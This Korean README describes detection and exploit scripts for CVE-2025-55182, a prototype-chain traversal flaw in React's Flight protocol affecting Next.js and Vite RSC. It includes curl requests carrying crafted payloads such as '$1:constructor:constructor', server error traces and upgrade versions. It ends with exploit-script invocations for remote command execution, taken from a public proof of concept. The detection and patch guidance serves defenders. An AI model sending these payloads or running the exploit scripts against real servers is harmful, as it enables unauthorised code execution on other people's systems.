
실제 CVE-2025-55182 탐지 및 익스플로잇. LLM 헛소리 없음.
React Flight 프로토콜 취약점으로, 청크 참조를 통한 프로토타입 체인 탐색을 허용합니다. bullshit-react-project에서 테스트되었습니다.
실제 PoC가 공개되었으므로 이 내용은 다소 오래되었습니다.
Vite RSC: bash ./vite-detect.sh https://example.com
Next.js: bash ./nextjs-detect.sh https://example.com
또는 둘 다 실행하려면 bash ./detect.sh https://example.com을 실행하세요.
두 스크립트 모두 선택적 타임아웃 매개변수를 허용합니다 (Vite는 기본 3초, Next.js는 5초).
x-rsc-action 헤더와 $1:toString 페이로드를 전송합니다. 취약한 서버는 무기한으로 대기하고, 패치된 서버는 정상적으로 응답합니다. 먼저 RSC 엔드포인트를 확인합니다 (잘못된 액션에 대해 HTTP 500을 기대).
페이지 응답에서 서버 액션 ID를 찾아낸 다음 (패턴 $ACTION_ID_<hash>) 다음을 전송합니다:
curl -X POST "http://localhost:3000" \
-H "Next-Action: <action_id>" \
-H "Accept: text/x-component" \
-F '0=["$1:a:a"]' \
-F '1={}'
취약한 서버는 대기하고, 패치된 서버는 빠르게 응답합니다.
Next.js: 16.0.7, 15.5.7 또는 15.4.8로 업그레이드
React (Vite RSC): 19.0.1+, 19.1.2+ 또는 19.2.1+로 업그레이드
React의 Flight 프로토콜은 청크 참조를 통한 프로토타입 체인 탐색을 허용합니다. getOutlinedModel 함수는 hasOwnProperty 검사 없이 참조 경로를 반복합니다:
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]];
이로 인해 $1:constructor:constructor가 {}.constructor.constructor → Function으로 이동할 수 있습니다.
엔드포인트: x-rsc-action 헤더가 있는 모든 경로
액션 ID: 710363d987f5#loginUser (또는 유효한 서버 액션)
curl -X POST "http://localhost:4173/xyz" \
-H "x-rsc-action: 710363d987f5#loginUser" \
-F '0={"then":"$1:constructor:constructor"}' \
-F '1={"a":"b"}'
취약한 경우: Internal Server Error
패치된 경우: 정상 응답
참고로 패치된 서버에서 x-rsc-action ID가 잘못되면 500 오류가 발생합니다. 단지 서버 로그가 다를 뿐입니다.
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>)
Function 생성자는 객체가 await될 때 .then()을 통해 호출되었습니다. V8은 resolve/reject 함수를 인수로 전달하며, 이 함수들은 function () { [native code] }로 문자열화됩니다. 따라서 문법 오류가 발생합니다.
Error: server reference not found '310363d987f5'
at Object.load (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13532:27)
at requireModule (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8302:20)
at loadServerAction (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8326:17)
at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14998:29)
at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
TypeError: Cannot read properties of undefined (reading 'apply')
at AsyncLocalStorage.run (node:internal/async_local_storage/async_context_frame:63:14)
at runWithRequest (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13539:25)
at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14999:27)
at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
유효한 x-rsc-action을 사용하면 서버 로그가 나타나지 않습니다. 실제 서버 액션을 실행하고 개발자 도구에서 요청을 캡처하면 올바른 x-rsc-action을 찾을 수 있습니다.
$1:toString 페이로드는 취약한 서버를 무기한으로 대기시킵니다. 탐지 스크립트가 이를 사용하는 이유입니다. 거의 모든 방법을 시도했지만 RCE를 얻을 수 없었습니다.
Vite Rsc의 경우:
bash exploit-vite.sh https://example.com/ 'echo $(id) > /tmp/pwned'
NextJS의 경우:
bash exploit-nextjs.sh https://example.com/ 'echo $(id) > /tmp/pwned'
크레딧: maple3142 -> https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
저는 약간의 래핑만 수행했고, 순수 ESM이므로 require가 없는 Vite에 맞게 조정했습니다.